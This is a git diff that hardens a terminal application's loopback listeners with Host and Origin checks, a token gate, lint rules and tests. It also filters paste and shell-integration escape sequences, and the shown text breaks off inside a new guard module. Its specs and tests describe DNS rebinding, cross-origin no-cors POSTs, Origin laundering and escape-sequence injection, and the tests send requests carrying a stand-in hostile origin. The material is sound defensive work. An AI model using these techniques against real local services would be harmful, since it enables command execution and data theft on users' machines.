diff --git a/.claude/skills/debug-standalone-agent-browser/SKILL.md b/.claude/skills/debug-standalone-agent-browser/SKILL.md index 302047b94..52c674edb 100644 --- a/.claude/skills/debug-standalone-agent-browser/SKILL.md +++ b/.claude/skills/debug-standalone-agent-browser/SKILL.md @@ -22,7 +22,7 @@ The harness: - stages the `dor` CLI and sidecar proxy - starts the standalone Node sidecar directly -- starts a localhost HTTP/SSE bridge for browser-side `PlatformAdapter` calls +- starts a localhost HTTP/SSE bridge for browser-side `PlatformAdapter` calls, gated by a per-run token it bakes into the bridge URL the page is built against (`VITE_DORMOUSE_BROWSER_DEV_HOST`) — not into the page's own address, so there is no `?t=` in the address bar to look for. Nothing to pass yourself, but the bridge answers `404` to anything without it, so drive the app through `agent-browser` at the Vite port and not the bridge port. To poke the bridge by hand, use the `bridge token:` and ready-made `curl` the harness prints at startup. - starts Vite with `VITE_DORMOUSE_BROWSER_DEV_HOST` - opens the app in `agent-browser` - mirrors browser console logs as `[browser log] ...` in the harness terminal diff --git a/.github/audit/application-security.md b/.github/audit/application-security.md index 0b928eef7..2e47dbd07 100644 --- a/.github/audit/application-security.md +++ b/.github/audit/application-security.md @@ -3,6 +3,7 @@ **Scope — these sections, and no others:** `## Remote Control` +`## Loopback Listeners` **Output file:** `audit-application.md` @@ -15,6 +16,11 @@ the code they point at — `server-lib-common/src/security/`, `server/src/`, `lib/src/remote/`, `lib/src/host/remote/`, `vscode-ext/src/remote-host*.ts`, `scripts/csp-defaults.mjs`, and `deploy/local/install-macos.sh`. +For `## Loopback Listeners`, read `lib/src/host/loopback-guard.ts` first — it +states the rule — then each listener it names. Derive the set of listeners by +searching the shipped trees yourself; the section's own list is a description of +today's tree, not the scope. + ## Qualitative pass Be adversarial, and go past the `FAIL IF` list. Ask specifically: diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 084f3a1d8..1f135599c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -45,6 +45,42 @@ jobs: exit 1 fi + # zsh is not on the ubuntu runner image, and it is the default shell on + # macOS — our primary platform. Without it, `standalone/sidecar`'s + # shell-integration suite silently covered only bash, which is half of + # what stands behind an emit-side security fix (SECURITY.md's OSC 633 + # rules; the emitters are the boundary, since the parser cannot defend + # against a terminator that arrives inside a directory name). The suite + # names the shells it covered on every run, so a future image change that + # drops one is visible rather than silent. + # `update` first: the runner image's apt lists are baked at image build, so + # once the archive rotates zsh's version the cached Packages entry 404s. + # `timeout` because a degraded Azure mirror dribbles bytes rather than + # failing — see the fuller treatment in Standalone Smoketest below, which + # also rotates mirrors. That much machinery is not worth it for one + # package; the retry here covers the common case without turning a + # `Build & Test` red for a reason unrelated to the diff. + # 13 minutes, not 6: the budget has to outlast the schedule it wraps, or + # Actions kills the step mid-attempt and the ::error:: below — the line + # that says what the failure costs — never prints. Worst case is + # 3 x (120 update + 120 install) + 2 x 15 sleep = 750s, and the last sleep + # is guarded to keep that `2 x` true: unguarded it is 3 x 15 = 765s, which + # halves the headroom for pure dead time before a step that is already + # failing. + - name: Install zsh (shell-integration tests) + timeout-minutes: 13 + run: | + for i in 1 2 3; do + if sudo timeout 120 apt-get update -q \ + && sudo timeout 120 apt-get install -y -q --no-install-recommends zsh; then + exit 0 + fi + echo "::warning::apt attempt $i for zsh failed or timed out" + if [ "$i" -lt 3 ]; then sleep 15; fi + done + echo "::error::could not install zsh; the shell-integration suite would silently cover only bash" + exit 1 + - name: Test run: pnpm test diff --git a/AGENTS.md b/AGENTS.md index 0fef33c7e..a72bd8f87 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -76,6 +76,8 @@ Specs are written ahead of the code on purpose: a new component's spec starts as The mechanically checkable parts of these conventions are enforced by `scripts/spec-lint.mjs` (`pnpm lint:specs`, also the first step of the root `pnpm test`): every spec indexed here, `## Future` last, relative links/anchors resolving, and backticked repo paths existing on disk. +Two sibling lints run alongside it in `pnpm test`, each enforcing one invariant a spec states in prose: `scripts/xterm-lint.mjs` (`pnpm lint:xterm`) for the `@xterm/*` version lockstep in `docs/specs/webgl-text.md`, and `scripts/loopback-lint.mjs` (`pnpm lint:loopback`) for the rule in `SECURITY.md` -> "Loopback Listeners" that a loopback bind is not an access control — a new listener must reference a guard module or be allowlisted with a reason. + ## Design See [PRODUCT.md](PRODUCT.md) for users, brand personality, and aesthetic direction (including the anti-references), and [DESIGN.md](DESIGN.md) for the full design system — tokens, named rules, and component vocabulary. Key principles: diff --git a/SECURITY.md b/SECURITY.md index 4485747eb..06a133a3e 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -2,7 +2,7 @@ > **Audited automatically.** This spec is checked against the repository by [`security-audit.yaml`](.github/workflows/security-audit.yaml) on a 24-hour schedule (04:21 UTC) and as a required gate before every VS Code release. The audit runs as three scoped subagents — supply chain, CI and secrets, and application security — merged into one verdict; see [CI Validation Contract](#ci-validation-contract). Each failure is filed as an issue labeled [`security-audit-failure`](https://github.com/diffplug/dormouse/issues?q=is%3Aissue+label%3Asecurity-audit-failure) — open ones are live, closed ones are the historical record of what tripped past audits and what changed to clear them. -Dormouse is a terminal, so users trust it with shells, source trees, credentials, and local files. Two things sit on that security boundary, and this document covers both. The **dependency graph and release pipeline** decide what code reaches a user's machine. **Remote control** — pairing a phone with a laptop — is the one feature that accepts input from the network, and an authorized phone is equivalent to a person at the keyboard. +Dormouse is a terminal, so users trust it with shells, source trees, credentials, and local files. Three things sit on that security boundary. The **dependency graph and release pipeline** decide what code reaches a user's machine. **Remote control** — pairing a phone with a laptop — is the one feature that accepts input from the network, and an authorized phone is equivalent to a person at the keyboard. And the **loopback listeners** Dormouse binds for its own surfaces accept input from any page in the user's browser, which is a boundary precisely because it does not look like one. ## Remote Control @@ -124,6 +124,20 @@ Nothing in this subsection is implemented; it exists so the boundary is stated b - FAIL IF the Server begins admitting an `accountId` other than `SELFHOST_ACCOUNT_ID` (`server-lib-common/src/remote/wire.ts`), or gains a self-serve signup path, while this subsection is still staged. The cloud boundary has to be analyzed here before the code that needs it ships. +## Loopback Listeners + +Dormouse binds loopback HTTP and WebSocket servers to render its own surfaces. **A loopback bind is not an access control.** `127.0.0.1` keeps out the network, but the attacker that matters is a page open in the user's own browser, and it reaches loopback exactly as easily as our webview does. An ephemeral port is not a secret either — the range scans in seconds. Two properties of the browser make this sharper than it looks: a POST with a simple content-type needs no preflight, so it *executes* even when the attacker cannot read the reply; and WebSockets are not subject to CORS at all, so a socket that connects is a socket that can be read. + +The rule is about **privilege, not admission**: no listener may grant an unrecognized caller anything it could not already obtain by reaching the upstream directly. Every such listener answers two questions on every request — **was I addressed by my own loopback name**, and **do I recognize this caller** — but what it *does* with the second answer differs by listener. Two refuse the request outright. The iframe proxy deliberately admits everyone and instead declines to **vouch**: vouching for a stranger is what turns a transparent proxy into an amplifier, and refusing outright would be worse, because forwarding the caller's real `Origin` lets the upstream apply its own policy. The shared rule and the two shared predicates live in [`lib/src/host/loopback-guard.ts`](lib/src/host/loopback-guard.ts). + +The mechanism for "do I recognize this caller" differs per listener because their URLs differ, and the differences are forced, not stylistic: the iframe proxy cannot use a URL token because it would land in `location.pathname` and break client-side routers — and would not survive onto root-relative sub-resource requests at all — while the browser-dev harness can, because it owns the page's URL. + +- FAIL IF any loopback HTTP or WebSocket listener grants an unrecognized caller a privilege it could not obtain by reaching the upstream directly. Refusing the request is one way; the iframe proxy's *admits all, vouches for none* is another, and is not a violation. `scripts/loopback-lint.mjs` (`pnpm test`) makes the cheap half of this deterministic — a new loopback bind that does not reference a guard module fails the build — but it can only see that a file *knows* a guard exists, never that the guard is called on every request, so this bullet still has to be read. Derive the set by searching the shipped trees for `createServer` and `.listen(` rather than trusting this list — an enumeration goes stale the moment someone adds a listener, which is the same failure mode that once left `.vscode/` owned by nobody. Today the set is three: the iframe proxy (`lib/src/host/iframe-proxy.ts`), the VS Code agent-browser stream relay (`vscode-ext/src/agent-browser-host.ts`), and the browser-dev bridge (`standalone/scripts/dev-agent-browser.mjs`). A Unix-domain socket or named pipe is not in scope — no browser can reach one — which is why the `dor` control channel is bounded by socket permissions instead. +- FAIL IF the iframe proxy rewrites `Origin` to the upstream's own origin for a caller whose inbound `Origin` is not the proxy's own — in `handleRequest` **or** `handleUpgrade`. The upgrade path is the one that matters most: a laundered `Origin` there does not merely let a stranger write, it hands them a readable socket to a dev server or `openvscode-server` that would have refused their real origin. A foreign `Origin` must be forwarded untouched rather than blocked, so the upstream sees the truth and applies its own policy. +- FAIL IF the iframe proxy stops checking that `Host` names its own grant port, on either path. Its per-grant ephemeral port and one-fixed-upstream binding are real mitigations but neither is a secret, so this is what makes DNS rebinding fail. +- FAIL IF the stream relay's grant stops being single-use, TTL-bounded, and pinned to one target port, or if it begins rewriting `Origin` rather than dropping it. It needs no `Host` check while the token holds: rebinding exists to make same-origin-looking requests to loopback, which buys nothing against a listener demanding an unguessable one-shot secret. +- FAIL IF the browser-dev bridge drops any of its four gates — the per-run token, the loopback `Host` check, the `application/json` content-type required of every non-GET, or the exact-origin `access-control-allow-origin`. The first three live together in the gate that runs before routing, so a route that never reads a body is covered by all of them. It is dev-only and ships in nothing, but it dispatches `pty_spawn` with caller-supplied `shell`, `args`, `cwd` and `env`, so reaching it is arbitrary command execution on a maintainer or CI-agent machine — the machines the [Automated Maintainer](#automated-maintainer-tend) threat model is about. The content-type rule is a security control, not tidiness: without it the endpoint is CORS-simple and needs no preflight to survive. + ## Dependency Supply Chain Dormouse keeps its runtime dependency surface intentionally small. We add dependencies only when they are necessary, and we expect dependency changes to justify their value against their supply-chain risk. We use maturity gating inside our pnpm configuration and also inside our [Renovate configuration](.github/renovate.json). diff --git a/docs/specs/dor-browser.md b/docs/specs/dor-browser.md index 938e63c79..44aa47fd2 100644 --- a/docs/specs/dor-browser.md +++ b/docs/specs/dor-browser.md @@ -595,7 +595,11 @@ frame-src http://127.0.0.1:* http://localhost:* Security boundaries: -- proxy binds loopback only, +- proxy binds loopback only — which is a mitigation, **not** the boundary; see + the two gates below, +- `Host` must name the grant's own loopback port, on the request and upgrade + paths alike, so DNS rebinding fails, +- the `Origin` rewrite applies only to a caller the proxy itself served, - each grant fronts exactly one upstream, - no user script is injected, - link-local/cloud-metadata ranges are blocked, @@ -603,6 +607,24 @@ Security boundaries: and framed with its frame-blocking headers stripped (the embed is the user's own, not third-party clickjacking). +**Why the `Origin` rewrite is conditional.** Presenting a request as coming from +the upstream's own origin is the proxy *vouching* for it, and that is what +origin-aware dev servers rely on. The per-grant ephemeral port is not a secret — +the range scans in seconds — so vouching unconditionally would let any page in +the user's browser POST here and have its `Origin: https://evil.example` +relabelled as the upstream's own, defeating exactly the check the rewrite exists +to satisfy. It matters most on `handleUpgrade`: WebSockets are not subject to +CORS, so a laundered `Origin` yields a *readable* socket to a dev server or +`openvscode-server` that would have refused the real one. A foreign `Origin` is +forwarded untouched rather than blocked, which leaves the upstream to apply its +own policy and means the proxy grants nothing that hitting the upstream's port +directly would not. An absent `Origin` stays absent — that is an ordinary +top-level navigation or same-origin GET. `Referer` needs no such test: it only +substitutes the proxy's own origin, so a foreign referer already passes through. +The shared rule for all of Dormouse's loopback listeners lives in +`lib/src/host/loopback-guard.ts`, and `SECURITY.md` → "Loopback Listeners" audits +it. + Source of truth: `lib/src/lib/platform/types.ts`, `lib/src/lib/platform/vscode-adapter.ts`, `vscode-ext/src/message-types.ts`, `vscode-ext/src/message-router.ts`, `vscode-ext/src/webview-html.ts`, diff --git a/docs/specs/mouse-and-clipboard.md b/docs/specs/mouse-and-clipboard.md index f592c0c00..e674edb25 100644 --- a/docs/specs/mouse-and-clipboard.md +++ b/docs/specs/mouse-and-clipboard.md @@ -257,6 +257,8 @@ Platform is detected at startup from `navigator.userAgentData.platform` (preferr When the inside program has opted in via `\e[?2004h` (tracked as the `bracketedPaste` field on the per-terminal mouse-selection state), the terminal writes `\e[200~`, then the clipboard content, then `\e[201~`, to the PTY. Otherwise the content is written without brackets. This is standard xterm behavior; it allows shells and TUIs to distinguish pasted content from typed input. +**The bracketed payload is filtered: every `\e` in it is replaced with a visible U+241B before wrapping.** Without that, clipboard content containing `\e[201~` closes the bracket early and everything after it reaches the shell as ordinary typed input — newlines included, which submit — so anything that can write the clipboard could run a command the user never pasted. Brackets are the *only* defense here, since §8.6 puts multi-line paste confirmation out of scope. The filter is byte-for-byte xterm's own `bracketTextForPaste`, repeated because `writePasteToPty` calls `writePty` directly and so never reaches xterm's paste path; it covers file-path pastes (§8.6 tiers 1 and 3) as well, because they share that writer. The unbracketed branch is deliberately unfiltered: the inside program has not asked to tell pasted bytes from typed ones, so there is no boundary left to protect, and filtering would break a deliberate paste of an escape sequence. `Source of truth:` `defangPasteEscapes` in `lib/src/lib/clipboard.ts`. + The bracketed-paste mode is read at paste time from the per-terminal mouse-selection state's `bracketedPaste` field, which `lib/src/lib/mouse-mode-observer.ts` keeps in sync with xterm's public `terminal.modes.bracketedPasteMode` via a parser hook on `CSI ? ... h`/`l`. ### 8.6 Paste Content diff --git a/docs/specs/terminal-escapes.md b/docs/specs/terminal-escapes.md index d5b4b6a91..5b2f6f780 100644 --- a/docs/specs/terminal-escapes.md +++ b/docs/specs/terminal-escapes.md @@ -158,6 +158,13 @@ A binary on `PATH` only has to be **found**, so it injects via one env var (`DOR Injection is wired in `resolveSpawnConfig` (`standalone/sidecar/pty-core.js`) and applies to both distributions (the standalone sidecar and the VS Code pty-host both spawn through it). The integration scripts are static files under `standalone/sidecar/shell-integration/`; the directory is resolved from `DORMOUSE_SHELL_INTEGRATION_DIR` (set by the host, mirroring `DORMOUSE_CLI_BIN`) and falls back to the sidecar's own directory. Standalone ships them via the tauri `../sidecar/**/*` resources glob; the VS Code build copies them into `dist/shell-integration`. If the scripts are missing, injection is skipped and the shell spawns exactly as before — injection is fail-safe. +**Emitted fields are filtered before they are written, and that is a security boundary, not tidiness.** A POSIX path component may hold any byte but `/` and NUL, and a command line may hold anything at all, so an attacker-chosen directory name or command can carry an OSC terminator — BEL, `ESC \`, or the C1 ST `U+009C` (all three are what `findOscTerminator` scans for). The parser cannot defend against this: the terminator scan runs on raw bytes, so by the time the parser sees them the `633` sequence is already over and the remainder arrives as a fresh, fully-trusted OSC. It would forge notifications, command lines, or titles in the shell's own voice — `OSC 9` most damagingly, since an alert latches a ring, persists, is spoken aloud, and is pushed to the paired phone. The injected bytes are consumed by the parser, so nothing appears on screen, and a poisoned directory re-fires for anyone who enters it, outliving the process that planted it. The boundary therefore has to be on the *emit* side, in the scripts Dormouse ships: + +- **`E` (command line)** is escaped by `__dormouse_633_escape`, which now covers BEL, ESC and the C1 ST alongside the existing `\`, `;`, LF and CR. Escaping costs nothing here because the parser decodes `\xNN` back, so the command line still reports verbatim. +- **`Cwd=`** cannot be escaped — the parser reads it verbatim, with no `\xNN` decoding, precisely so a Windows path's backslashes arrive intact. `__dormouse_633_safe_cwd` therefore *removes* control characters rather than escaping them. Backslashes and semicolons are deliberately preserved. Under `LC_ALL=C` the C1 ST is two ordinary bytes that `[[:cntrl:]]` does not match, so the shell scripts strip it explicitly first. + +`Source of truth:` `__dormouse_633_escape` and `__dormouse_633_safe_cwd` in each of `standalone/sidecar/shell-integration/bash/shellIntegration.bash`, `standalone/sidecar/shell-integration/zsh/.zshrc`, and `standalone/sidecar/shell-integration/pwsh/shellIntegration.ps1`. Because the injection is emit-side, the tests run the real shells: `standalone/sidecar/shell-integration.test.js`. + ### Keystroke fallback When injection isn't possible (cmd.exe, an unknown shell, or scripts not present) or simply doesn't take, Dormouse falls back to its keystroke heuristic: it reads the submitted command off the rendered prompt line and synthesizes `commandStart{source:'user_input'}`. This fallback has no real exit codes and only a best-effort idle transition. The fallback rules — prompt-shape learning, submit parsing, and the per-pane promotion that retires the heuristic on the first authentic OSC boundary (which is what makes it fire "only if injection fails") — are owned by [terminal-state.md](terminal-state.md#keystroke-fallback). diff --git a/docs/specs/transport.md b/docs/specs/transport.md index 8f0749e5a..374c52178 100644 --- a/docs/specs/transport.md +++ b/docs/specs/transport.md @@ -29,7 +29,7 @@ rather than methods: ### Standalone browser-dev harness -Source of truth: `standalone/scripts/dev-agent-browser.mjs`, `standalone/src/browser-sidecar-host.ts`, and `standalone/src/browser-sidecar-adapter.ts`. +Source of truth: `standalone/scripts/dev-agent-browser.mjs`, `standalone/scripts/dev-host-guard.mjs`, `standalone/src/browser-sidecar-host.ts`, and `standalone/src/browser-sidecar-adapter.ts`. `pnpm dev:standalone:ab` starts the standalone sidecar directly, starts a localhost-only HTTP bridge, starts Vite with `VITE_DORMOUSE_BROWSER_DEV_HOST`, and opens the app URL in an `agent-browser` session. The browser build uses `BrowserSidecarAdapter` instead of `TauriAdapter` when that env var is present. @@ -40,6 +40,15 @@ The browser-dev bridge is intentionally a transport shim over the same sidecar p - Host → webview events use `GET /__dormouse_dev_host/events` as an SSE stream. - Browser console calls are mirrored to `POST /__dormouse_dev_host/console` so a single `pnpm dev:standalone:ab` terminal shows sidecar logs, Vite logs, and in-browser diagnostics. +**The bridge is authenticated, and loopback is not what makes it safe.** It dispatches `pty_spawn` into the sidecar with caller-supplied `shell`, `args`, `cwd` and `env`, so reaching it is arbitrary command execution as the developer — and the threat is a web page open in that developer's own browser, which loopback does nothing to stop. Four rules, enforced in `standalone/scripts/dev-host-guard.mjs`: + +- **Every request carries `?t=`**, a per-run 24-byte credential the harness mints and bakes into the `VITE_DORMOUSE_BROWSER_DEV_HOST` URL, compared with `timingSafeEqual` over SHA-256 digests (equal-length inputs, so a wrong guess is refused rather than throwing). It travels in the query rather than an `Authorization` header because `EventSource` cannot set headers and `/events` is gated like the rest. `BrowserSidecarHost.url()` is the only place that attaches it, so no call site can forget it. This token is distinct from the `dor` control-API `controlToken`, which is handed to every shell the harness spawns; the bridge's circle is smaller. +- **`Host` must be `127.0.0.1:` or `localhost:`**, against DNS rebinding — a hostile domain re-resolved to loopback arrives with its own name in `Host`, and the browser treats it as same-origin so CORS never applies. +- **Non-GET requests must be `application/json`.** This is a security control: without it the endpoints are CORS-*simple*, so a foreign page can POST `mode: 'no-cors'` and, though it cannot read the reply, the request still executes. Requiring a non-simple type forces a preflight it cannot pass. It is enforced inside the gate rather than in the body reader, so a route that never parses a body is covered too. +- **`access-control-allow-origin` names the Vite origin exactly, never `*`**, on every response including the SSE stream. Under `*` the `read_clipboard_text` and `read_clipboard_file_paths` invokes were readable cross-origin. Both loopback spellings of that origin — `http://localhost:` and `http://127.0.0.1:` — are accepted and echoed back, because they are the same dev page and pinning one would reject a developer who typed the other with symptoms (blank terminal, console CORS errors) that do not point at the cause. Echoing one of two known-good values is as tight as pinning one. + +The gate runs before routing and before any body read, and an unauthorized caller gets the same `404 not found` as an unknown path, so the port does not identify itself. Agent workflows are unaffected: the token reaches the page through the env var the harness already sets, and `agent-browser` drives the Vite origin, never the bridge. The harness prints the token and a ready-made `curl` on startup for driving it by hand. + The remote Host rides the same shim: `remote_host_command` is one more invoke that writes `remoteHost:command` to the sidecar, and the sidecar's `remoteHost:*` events arrive on the SSE stream, so the harness runs a real Host against a per-run temp state directory (`docs/specs/standalone.md` → "Remote Host service"). The harness may omit native-only desktop chrome such as window controls and update checks, but it must preserve the `PlatformAdapter` PTY, control-request, clipboard, iframe-proxy, remote-Host, and agent-browser contracts used by the app. Tauri APIs must not be required at static module-evaluation time when `VITE_DORMOUSE_BROWSER_DEV_HOST` is set, because the page is loaded by a normal browser rather than the Tauri WebView. diff --git a/lib/src/host/iframe-proxy.test.ts b/lib/src/host/iframe-proxy.test.ts index 4ee7792eb..5393b50ec 100644 --- a/lib/src/host/iframe-proxy.test.ts +++ b/lib/src/host/iframe-proxy.test.ts @@ -1,4 +1,4 @@ -import { afterEach, describe, expect, it } from 'vitest'; +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; import * as http from 'node:http'; import { createIframeProxyUrl } from './iframe-proxy'; @@ -25,15 +25,25 @@ function upstream(handler: http.RequestListener): Promise { } interface Fetched { status: number; headers: http.IncomingHttpHeaders; body: string } -function get(url: string): Promise { +function request(url: string, init: { method?: string; headers?: Record } = {}): Promise { + const u = new URL(url); return new Promise((resolve, reject) => { - http.get(url, (res) => { + const req = http.request({ + hostname: u.hostname, + port: u.port, + path: `${u.pathname}${u.search}`, + method: init.method ?? 'GET', + headers: init.headers, + }, (res) => { const chunks: Buffer[] = []; res.on('data', (c: Buffer) => chunks.push(c)); res.on('end', () => resolve({ status: res.statusCode ?? 0, headers: res.headers, body: Buffer.concat(chunks).toString('utf8') })); - }).on('error', reject); + }); + req.on('error', reject); + req.end(); }); } +const get = (url: string) => request(url); async function frame(target: string): Promise { const r = await createIframeProxyUrl(target, NO_LOG); @@ -141,3 +151,64 @@ describe('iframe proxy — serving', () => { expect(res.headers['x-frame-options']).toBeUndefined(); }); }); + +describe('iframe proxy — the proxy never vouches for a stranger', () => { + // The port is ephemeral but not secret: the range scans in seconds, and a + // page in the user's own browser reaches loopback as easily as our webview + // does. So the Origin rewrite — the proxy telling the upstream "this came + // from you" — must be reserved for callers we actually served. See + // ./loopback-guard.ts for the shared rule. + let upstreamPort = 0; + let proxyPort = ''; + let url = ''; + + beforeEach(async () => { + // An upstream that reports back exactly what it was told about its caller. + upstreamPort = await upstream((q, s) => { + s.writeHead(200, { 'content-type': 'application/json' }); + s.end(JSON.stringify({ origin: q.headers.origin ?? null, host: q.headers.host ?? null })); + }); + url = await frame(`http://127.0.0.1:${upstreamPort}/`); + proxyPort = new URL(url).port; + }); + + const post = (headers: Record) => request(url, { method: 'POST', headers }); + + it('relabels the Origin of a page it served', async () => { + const res = await post({ host: `127.0.0.1:${proxyPort}`, origin: `http://127.0.0.1:${proxyPort}` }); + + // The legitimate iframe: origin-aware dev servers must see same-origin. + expect(JSON.parse(res.body)).toEqual({ origin: `http://127.0.0.1:${upstreamPort}`, host: `127.0.0.1:${upstreamPort}` }); + }); + + it('forwards a foreign Origin untouched instead of laundering it', async () => { + const res = await post({ host: `127.0.0.1:${proxyPort}`, origin: 'https://evil.example' }); + + // Forwarded, not blocked: the upstream sees the truth and applies its own + // CSRF policy, so the proxy grants nothing that hitting the upstream port + // directly would not. + expect(JSON.parse(res.body).origin).toBe('https://evil.example'); + }); + + it('leaves an absent Origin absent (top-level navigation, same-origin GET)', async () => { + const res = await post({ host: `127.0.0.1:${proxyPort}` }); + + expect(JSON.parse(res.body).origin).toBeNull(); + }); + + it('refuses a request addressed to a rebound hostile name', async () => { + // evil.example re-resolved to 127.0.0.1 arrives with its own name in Host, + // and the browser treats the response as same-origin — so no CORS header + // would get a say. 421 Misdirected Request, before the upstream is dialed. + const res = await post({ host: 'evil.example:1234', origin: 'https://evil.example' }); + + expect(res.status).toBe(421); + expect(res.body).toBe(''); + }); + + it('accepts either loopback spelling in Host', async () => { + for (const host of [`127.0.0.1:${proxyPort}`, `localhost:${proxyPort}`]) { + expect((await post({ host })).status).toBe(200); + } + }); +}); diff --git a/lib/src/host/iframe-proxy.ts b/lib/src/host/iframe-proxy.ts index 06aac6fb5..4e956c1d7 100644 --- a/lib/src/host/iframe-proxy.ts +++ b/lib/src/host/iframe-proxy.ts @@ -28,12 +28,17 @@ * A server bound to exactly one upstream is inherently not an open forwarder. * - No token in the URL. It would land in `location.pathname` and break * client-side routers (a React-Router/Remix dev server reads the path, - * matches no route, and renders its own 404). The dedicated server + - * loopback bind is the boundary instead. + * matches no route, and renders its own 404), and it would not survive onto + * root-relative sub-resource requests at all. The dedicated server and the + * loopback bind are mitigations, **not** the boundary — the port is + * discoverable in seconds. The boundary is the `Host` check plus the + * conditional `Origin` vouch below: this server admits anyone and vouches + * for no one it did not serve. See `./loopback-guard.ts`. */ import * as http from 'http'; import * as net from 'net'; import type { IframeProxyResult } from '../lib/platform/iframe-proxy-types'; +import { isLoopbackHost, isOwnOrigin } from './loopback-guard'; import { STRIP_RESPONSE_HEADERS, errorPageHtml, @@ -152,6 +157,13 @@ function listen(server: http.Server): Promise { } function handleRequest(grant: Grant, req: http.IncomingMessage, res: http.ServerResponse): void { + if (!isLoopbackHost(req.headers.host, grant.port)) { + // DNS rebinding: a hostile domain re-pointed at 127.0.0.1 reaches this + // grant with its own name in Host. Refuse before touching lastUsed, so a + // stranger cannot hold a grant open past its idle TTL either. + res.writeHead(421).end(); + return; + } grant.lastUsed = Date.now(); const path = req.url ?? '/'; @@ -160,7 +172,24 @@ function handleRequest(grant: Grant, req: http.IncomingMessage, res: http.Server // Present the request as coming from the upstream's own origin so origin-aware // dev servers (Vary: Origin, CSRF checks) treat it as same-origin, and drop // Accept-Encoding so HTML comes back identity (we rewrite it). - if (headers.origin) headers.origin = grant.upstream.origin; + // + // Only for a caller we actually served. This rewrite is the proxy vouching + // for the request upstream, and vouching for a stranger is what turns a + // transparent proxy into a CSRF amplifier: the port is discoverable, so any + // page could otherwise POST here and have its `Origin: https://evil.example` + // relabelled as the upstream's own — defeating exactly the origin check the + // rewrite exists to satisfy. Forward a foreign Origin untouched instead of + // blocking it: the upstream then sees the truth and applies its own policy, + // which leaves the proxy granting nothing the attacker did not already have + // by hitting the upstream's port directly. + // + // An absent Origin stays absent, as before — that is a top-level navigation + // or a same-origin GET, which is the ordinary iframe case. + if (isOwnOrigin(req.headers.origin, grant.port)) { + headers.origin = grant.upstream.origin; + } + // Referer needs no such test: it only substitutes our own proxy origin, so a + // foreign referer already passes through untouched. if (typeof headers.referer === 'string') headers.referer = headers.referer.split(grant.proxyOrigin).join(grant.upstream.origin); delete headers['accept-encoding']; @@ -274,10 +303,20 @@ function sanitizeResponseHeaders(grant: Grant, headers: http.IncomingHttpHeaders // Mirrors the stream relay: once the upgrade head is rewritten (Host/Origin // pointed at the upstream) the proxy is a dumb byte pipe. function handleUpgrade(grant: Grant, req: http.IncomingMessage, socket: net.Socket, head: Buffer): void { + // The upgrade path is where the Origin rewrite costs the most, so it gets the + // same two tests as handleRequest. WebSockets are not subject to CORS, so a + // laundered Origin does not merely let a stranger write — it hands them a + // *readable* socket to a dev server or openvscode-server that would have + // refused their real origin. + if (!isLoopbackHost(req.headers.host, grant.port)) { + socket.destroy(); + return; + } grant.lastUsed = Date.now(); socket.on('error', () => {}); const path = req.url ?? '/'; const targetPort = Number(grant.upstream.port) || 80; + const vouch = isOwnOrigin(req.headers.origin, grant.port); const upstream = net.connect(targetPort, grant.upstream.hostname, () => { const headerLines: string[] = []; @@ -285,7 +324,7 @@ function handleUpgrade(grant: Grant, req: http.IncomingMessage, socket: net.Sock const name = req.rawHeaders[i]; const lower = name.toLowerCase(); if (lower === 'host') headerLines.push(`Host: ${grant.upstream.host}`); - else if (lower === 'origin') headerLines.push(`Origin: ${grant.upstream.origin}`); + else if (lower === 'origin') headerLines.push(`Origin: ${vouch ? grant.upstream.origin : req.rawHeaders[i + 1]}`); else headerLines.push(`${name}: ${req.rawHeaders[i + 1]}`); } upstream.write(`GET ${path} HTTP/1.1\r\n${headerLines.join('\r\n')}\r\n\r\n`); diff --git a/lib/src/host/loopback-guard.test.ts b/lib/src/host/loopback-guard.test.ts new file mode 100644 index 000000000..2f1c933c7 --- /dev/null +++ b/lib/src/host/loopback-guard.test.ts @@ -0,0 +1,50 @@ +import { describe, expect, it } from 'vitest'; +import { isLoopbackHost, isOwnOrigin } from './loopback-guard'; + +describe('isLoopbackHost', () => { + it('accepts either spelling of its own loopback address', () => { + expect(isLoopbackHost('127.0.0.1:4000', 4000)).toBe(true); + expect(isLoopbackHost('localhost:4000', 4000)).toBe(true); + expect(isLoopbackHost('LOCALHOST:4000', 4000)).toBe(true); + }); + + it('refuses a rebound name, another port, and a missing header', () => { + expect(isLoopbackHost('evil.example:4000', 4000)).toBe(false); + expect(isLoopbackHost('127.0.0.1:4001', 4000)).toBe(false); + expect(isLoopbackHost('127.0.0.1', 4000)).toBe(false); + expect(isLoopbackHost(undefined, 4000)).toBe(false); + expect(isLoopbackHost('', 4000)).toBe(false); + }); + + it('is not fooled by a hostile name that merely contains loopback', () => { + expect(isLoopbackHost('127.0.0.1:4000.evil.example', 4000)).toBe(false); + expect(isLoopbackHost('localhost:4000@evil.example', 4000)).toBe(false); + }); +}); + +describe('isOwnOrigin', () => { + it('accepts the origin of a page this listener served', () => { + expect(isOwnOrigin('http://127.0.0.1:4000', 4000)).toBe(true); + expect(isOwnOrigin('http://localhost:4000', 4000)).toBe(true); + }); + + it('refuses a foreign origin, a wrong port, and https on loopback', () => { + expect(isOwnOrigin('https://evil.example', 4000)).toBe(false); + expect(isOwnOrigin('http://127.0.0.1:4001', 4000)).toBe(false); + // A different scheme is a different origin, so it is not a page we served. + expect(isOwnOrigin('https://127.0.0.1:4000', 4000)).toBe(false); + }); + + it('treats absent, empty, and unparseable as not-own rather than throwing', () => { + // Callers decide what absence means for them; this never guesses. + expect(isOwnOrigin(undefined, 4000)).toBe(false); + expect(isOwnOrigin('', 4000)).toBe(false); + expect(isOwnOrigin('null', 4000)).toBe(false); + expect(isOwnOrigin('not a url', 4000)).toBe(false); + }); + + it('is not fooled by loopback appearing elsewhere in the authority', () => { + expect(isOwnOrigin('http://127.0.0.1.evil.example:4000', 4000)).toBe(false); + expect(isOwnOrigin('http://evil.example:4000/?x=http://127.0.0.1:4000', 4000)).toBe(false); + }); +}); diff --git a/lib/src/host/loopback-guard.ts b/lib/src/host/loopback-guard.ts new file mode 100644 index 000000000..39bf14856 --- /dev/null +++ b/lib/src/host/loopback-guard.ts @@ -0,0 +1,58 @@ +/** + * The shared rule for every loopback listener Dormouse binds. + * + * **A loopback bind is not an access control.** `127.0.0.1` keeps out the + * network, but the attacker that matters is a web page open in the user's own + * browser, and that page reaches loopback exactly as easily as our own webview + * does. An ephemeral port is not a secret either — the range scans in seconds. + * + * The rule is 